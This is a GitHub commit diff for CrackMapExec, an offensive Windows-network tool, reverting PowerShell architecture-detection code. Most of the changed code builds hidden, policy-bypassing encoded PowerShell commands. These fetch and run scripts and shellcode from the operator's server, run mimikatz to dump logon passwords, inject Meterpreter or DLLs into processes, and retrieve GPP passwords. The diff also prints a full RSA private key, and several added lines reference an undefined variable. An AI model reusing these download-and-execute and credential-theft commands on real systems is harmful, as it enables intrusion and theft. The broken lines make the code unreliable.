Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit ade4c12

Browse files
author
byt3bl33d3r
committed
Revert "Stole Empires powershell architecture detection code, arch is now detected and handled automatically"
This reverts commit cd103f5. This is being reverted due to a bug in wmiexec when executing long command strings. Falling back to the old method for now until/if fixed.
1 parent bdcebd0 commit ade4c12

File tree

5 files changed

+89
-87
lines changed

5 files changed

+89
-87
lines changed

certs/crackmapexec.crt

Lines changed: 16 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -1,18 +1,18 @@
11
-----BEGIN CERTIFICATE-----
2-
MIIC0zCCAbugAwIBAgIJAONQYgM9kvS9MA0GCSqGSIb3DQEBCwUAMAAwHhcNMTYw
3-
MzA4MDMxMTE0WhcNMjYwMzA2MDMxMTE0WjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC
4-
AQ8AMIIBCgKCAQEAm8TFNRF/eBnP6nXhvlFTOqeRarNRJQnTbC51elkn/M3m8Mxe
5-
+el2BTZ1jXxBC9TiXH5lCTBQpkY5A8+8MBD9HaZ2qwiNDkagvwKTnm2l2+1dLQ9H
6-
cPHwcKvXXI2sJjBF8Mf2YL8v48tdG7KAit9k+U7qvMoKfcbmANLnZ+EU8WbIQ3Ft
7-
vUs+mxCbCf0XEQKY0qi42QaM9JOk0fvGf3PhCI8g02P+uRzSEH3sAzIi4McwVzo0
8-
52HRYdUgrisc5YJeaRBVvwDDGRWqSAKsR8JvU12O3T9OznHmlFiu4JyERhFI/yPD
9-
k60TruuerPhyaEBqw+QO7+yJ8kQjJiUY+HEGiQIDAQABo1AwTjAdBgNVHQ4EFgQU
10-
z8UZWnwcobCoPA60GQAS3KYatj4wHwYDVR0jBBgwFoAUz8UZWnwcobCoPA60GQAS
11-
3KYatj4wDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAF8OIIw1YUbgV
12-
Q9GwNsZvVKd+aXdLwJzJ/2PJKPesW+hyLxVT9SUbPyaf3Gaj1y5bpHsjGL+Vs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Oikx0D/Wl+xgwQWxkNmuOlajDH1aNJp38BS9yFuHm5b8iOWLpgpoHfPU
14+
9Lj16C3mnXRnKkmXxtg46gB3P1lT1Zv5Nl7o58//D/5/RCoRjZ4m/rfypekszsBZ
15+
LzWwabf6WKWzwnx9S+tL/pelzMnhjJ83SmpRE0aKGjjw9+COzpnTyDdGSzCXLJM9
16+
hjuDcReX7yk0o0thkwlu2pY2hA0ZwjAKu0fIZAD9s4QwxqfAnj26ENscd4VJA+Ph
17+
4lJiTamdpA==
1818
-----END CERTIFICATE-----

certs/crackmapexec.key

Lines changed: 25 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -1,27 +1,27 @@
11
-----BEGIN RSA PRIVATE KEY-----
2-
MIIEogIBAAKCAQEAm8TFNRF/eBnP6nXhvlFTOqeRarNRJQnTbC51elkn/M3m8Mxe
3-
+el2BTZ1jXxBC9TiXH5lCTBQpkY5A8+8MBD9HaZ2qwiNDkagvwKTnm2l2+1dLQ9H
4-
cPHwcKvXXI2sJjBF8Mf2YL8v48tdG7KAit9k+U7qvMoKfcbmANLnZ+EU8WbIQ3Ft
5-
vUs+mxCbCf0XEQKY0qi42QaM9JOk0fvGf3PhCI8g02P+uRzSEH3sAzIi4McwVzo0
6-
52HRYdUgrisc5YJeaRBVvwDDGRWqSAKsR8JvU12O3T9OznHmlFiu4JyERhFI/yPD
7-
k60TruuerPhyaEBqw+QO7+yJ8kQjJiUY+HEGiQIDAQABAoIBAF3DNxX3n2wS1YWD
8-
Scw+tcOzxCOfJrQN0xbmbE6mRhy1cFL4Ih96uVDv9Bijd6AAl/UnG/hI/fLoiD9U
9-
Fyozv7jOT9YqAoZaWz4+9c7Cn7jfi1upO86vw5R+y9bpbHtcSW1jYFniG5iZ/ETE
10-
0P1G9Ufgignz8Ba/2Akc6rAr22hnDq+xa+CLH496hYslalLmAZAl9kl3XWDBw7um
11-
kzEtZDehkS5QgfOz6GyqHSw2LslclqrUwkl6wZ0YdBeP5npqHlY2XrE6VFX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crYNmk/9SzQSKiDKeMCgYAPjljP4zFyh4s8XpX7Y4VW
19+
+OJ7hCKgqFD+TlfI1GbgfW+aj2Tt5QcsJPYXQE/g4Xq/vB4L+AV4brl+Vx2xgSTt
20+
MNka31z0hGs78H4TwEHJ178F13UxD47rXh8FeWXxZXeqxMJePX6qnubSYqrGboOR
21+
atfp+eGzA6Cr92+m5AjfiQKBgHAi1jLkWciFdN+QB9JsM7wmiLVLaJUZwjvWT5J+
22+
6KV/puofUolqEVXX5MOBAYprsKq3/V1Lp+wXOk472YQV7DKblJu154BaaszqYwMX
23+
rKrXjhyg+Siyq7d10Lvc81wA/9KTnzHoZXFAvzeTbqHQ53JRlOEc/3OuqDfTgqj/
24+
0HdVAoGBAKOhnY43mUvJWkBI/HmWK3a4/nm4o90HHmcYZzdFMSPAyYqpRSfMS/9S
25+
+XjbO0ZetdEo+PV7ko5fT8ncw20Jdv8VMA8FMSpQs13AuI3tjv+mABqmXsm0wGYc
26+
7f/09XL6y42MDF81N2ujSYT4QGJW2t1ipkgOmCQQrjIJdEtOoySF
2727
-----END RSA PRIVATE KEY-----

core/powershell.py

Lines changed: 42 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -2,27 +2,23 @@
22
import logging
33
import settings
44

5-
def ps_command(command, mimikatz=False):
5+
def ps_command(command, arch):
66
logging.info('PS command to be encoded: ' + command)
77

88
if settings.args.server == 'https':
99
logging.info('Disabling certificate checking for the following PS command: ' + command)
1010
command = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + command
1111

12-
if not mimikatz:
13-
# get the correct PowerShell path and set it temporarily to %pspath%
14-
triggerCMD = "if %PROCESSOR_ARCHITECTURE%==x86 (set pspath='') else (set pspath=%WinDir%\\syswow64\\windowspowershell\\v1.0\\)&"
15-
16-
# invoke PowerShell with the appropriate options
17-
# triggerCMD += "call %pspath%powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc " + encCMD
18-
triggerCMD += ' call %pspath%powershell.exe -NoP -NonI -W Hidden -Enc {}'.format(b64encode(command.encode('UTF-16LE')))
12+
if arch == 32:
13+
logging.info('Forcing the following command to execute in a 32bit PS process: ' + command)
14+
command = '%SystemRoot%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
1915

20-
else:
21-
triggerCMD = 'powershell.exe -NoP -NonI -W Hidden -Enc {}'.format(b64encode(command.encode('UTF-16LE')))
22-
23-
logging.info('Full PS command: ' + triggerCMD)
16+
elif arch == 64 or arch == 'auto':
17+
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
18+
19+
logging.info('Full PS command: ' + command)
2420

25-
return triggerCMD
21+
return command
2622

2723
class PowerShell:
2824

@@ -33,6 +29,7 @@ class PowerShell:
3329
def __init__(self, server, localip):
3430
self.localip = localip
3531
self.protocol = server
32+
self.arch = settings.args.ps_arch
3633
self.func_name = settings.obfs_func_name
3734

3835
def mimikatz(self, command='privilege::debug sekurlsa::logonpasswords exit'):
@@ -54,7 +51,10 @@ def mimikatz(self, command='privilege::debug sekurlsa::logonpasswords exit'):
5451
addr=self.localip,
5552
katz_command=command)
5653

57-
return ps_command(command, mimikatz=True)
54+
if self.arch == 'auto':
55+
return ps_command(command, 64)
56+
else:
57+
return ps_command(Command, int(self.arch))
5858

5959
def gpp_passwords(self):
6060
command = """
@@ -73,7 +73,10 @@ def gpp_passwords(self):
7373
port=settings.args.server_port,
7474
addr=self.localip)
7575

76-
return ps_command(command)
76+
if self.arch == 'auto':
77+
return ps_command(command, 64)
78+
else:
79+
return ps_command(Command, int(self.arch))
7780

7881
def powerview(self, command):
7982

@@ -93,8 +96,10 @@ def powerview(self, command):
9396
addr=self.localip,
9497
view_command=command)
9598

96-
97-
return ps_command(command, int(self.arch))
99+
if self.arch == 'auto':
100+
return ps_command(command, 64)
101+
else:
102+
return ps_command(Command, int(self.arch))
98103

99104
def inject_meterpreter(self):
100105
#PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode
@@ -125,36 +130,42 @@ def inject_meterpreter(self):
125130
if settings.args.procid:
126131
command += " -ProcessID {}".format(settings.args.procid)
127132

128-
return ps_command(command)
133+
if self.arch == 'auto':
134+
return ps_command(command, 32)
135+
else:
136+
return ps_command(Command, int(self.arch))
129137

130138
def inject_shellcode(self):
131139
command = """
132140
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}:{port}/Invoke-Shellcode.ps1');
133141
$WebClient = New-Object System.Net.WebClient;
134142
[Byte[]]$bytes = $WebClient.DownloadData('{protocol}://{addr}:{port}/{shellcode}');
135143
Invoke-{func_name} -Force -Shellcode $bytes""".format(protocol=self.protocol,
136-
port=settings.args.server_port,
137-
func_name=self.func_name,
138-
addr=self.localip,
139-
shellcode=settings.args.path.split('/')[-1])
144+
port=settings.args.server_port,
145+
func_name=self.func_name,
146+
addr=self.localip,
147+
shellcode=settings.args.path.split('/')[-1])
140148

141149
if settings.args.procid:
142150
command += " -ProcessID {}".format(settings.args.procid)
143151

144152
command += ';'
145153

146-
return ps_command(command)
154+
if self.arch == 'auto':
155+
return ps_command(command, 32)
156+
else:
157+
return ps_command(Command, int(self.arch))
147158

148159
def inject_exe_dll(self):
149160
command = """
150161
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}:{port}/Invoke-ReflectivePEInjection.ps1');
151162
$WebClient = New-Object System.Net.WebClient;
152163
[Byte[]]$bytes = $WebClient.DownloadData('{protocol}://{addr}:{port}/{pefile}');
153164
Invoke-{func_name} -PEBytes $bytes""".format(protocol=self.protocol,
154-
port=settings.args.server_port,
155-
func_name=self.func_name,
156-
addr=self.localip,
157-
pefile=settings.args.path.split('/')[-1])
165+
port=settings.args.server_port,
166+
func_name=self.func_name,
167+
addr=self.localip,
168+
pefile=settings.args.path.split('/')[-1])
158169

159170
if settings.args.procid:
160171
command += " -ProcId {}"
@@ -164,4 +175,7 @@ def inject_exe_dll(self):
164175

165176
command += ';'
166177

167-
return ps_command(command)
178+
if self.arch == 'auto':
179+
return ps_command(command, 32)
180+
else:
181+
return ps_command(Command, int(self.arch))

core/servers/mimikatz.py

Lines changed: 4 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -11,20 +11,8 @@
1111
import ssl
1212

1313
func_name = re.compile('CHANGE_ME_HERE')
14-
15-
def strip_powershell_comments(data):
16-
"""
17-
Strip block comments, line comments, empty lines, verbose statements,
18-
and debug statements from a PowerShell source file.
19-
"""
20-
21-
# strip block comments
22-
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', data)
23-
24-
# strip blank lines, lines starting with #, and verbose/debug statements
25-
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
26-
27-
return strippedCode
14+
comments = re.compile('#.+')
15+
synopsis = re.compile('<#.+#>')
2816

2917
class MimikatzServer(BaseHTTPRequestHandler):
3018

@@ -46,8 +34,9 @@ def do_GET(self):
4634
ps_script = script.read()
4735
if self.path[1:] != 'powerview.ps1':
4836
logging.info('Obfuscating Powershell script')
37+
ps_script = eval(synopsis.sub('', repr(ps_script))) #Removes the synopsys
4938
ps_script = func_name.sub(settings.obfs_func_name, ps_script) #Randomizes the function name
50-
ps_script = strip_powershell_comments(ps_script)
39+
ps_script = comments.sub('', ps_script) #Removes the comments
5140
#logging.info('Sending the following modified powershell script: {}'.format(ps_script))
5241
self.wfile.write(ps_script)
5342

crackmapexec.py

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -71,7 +71,6 @@
7171
parser.add_argument("--port", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
7272
parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (defaults to https)')
7373
parser.add_argument("--server-port", metavar='PORT', type=int, help='Start the server on the specified port')
74-
parser.add_argument("--timeout", default=20, type=int, help='Max timeout in seconds of each thread (default: 20)')
7574
#How much fail can we limit? can we fail at failing to limit? da da da dum
7675
parser.add_argument("--fail-limit", metavar='LIMIT', type=int, default=None, help='The max number of failed login attempts allowed per host (default: None)')
7776
parser.add_argument("--gfail-limit", metavar='LIMIT', type=int, default=None, help='The max number of failed login attempts allowed globally (default: None)')
@@ -111,6 +110,7 @@
111110

112111
cgroup = parser.add_argument_group("Command Execution", "Options for executing commands")
113112
cgroup.add_argument('--execm', choices={"wmi", "smbexec", "atexec"}, default="wmi", help="Method to execute the command (default: wmi)")
113+
cgroup.add_argument('--ps-arch', default='auto', choices={'32', '64', 'auto'}, help='Process architecture all PowerShell code/commands should run in (default: auto)')
114114
cgroup.add_argument('--no-output', action='store_true', dest='no_output', help='Do not retrieve command output')
115115
cgroup.add_argument("-x", metavar="COMMAND", dest='command', help="Execute the specified command")
116116
cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Excute the specified powershell command')
@@ -282,8 +282,7 @@ def concurrency(targets):
282282
try:
283283
pool = Pool(args.threads)
284284
jobs = [pool.spawn(main_greenlet, str(target)) for target in targets]
285-
for job in jobs:
286-
job.join(timeout=args.timeout)
285+
joinall(jobs)
287286
except KeyboardInterrupt:
288287
shutdown(0)
289288

0 commit comments

Comments
 (0)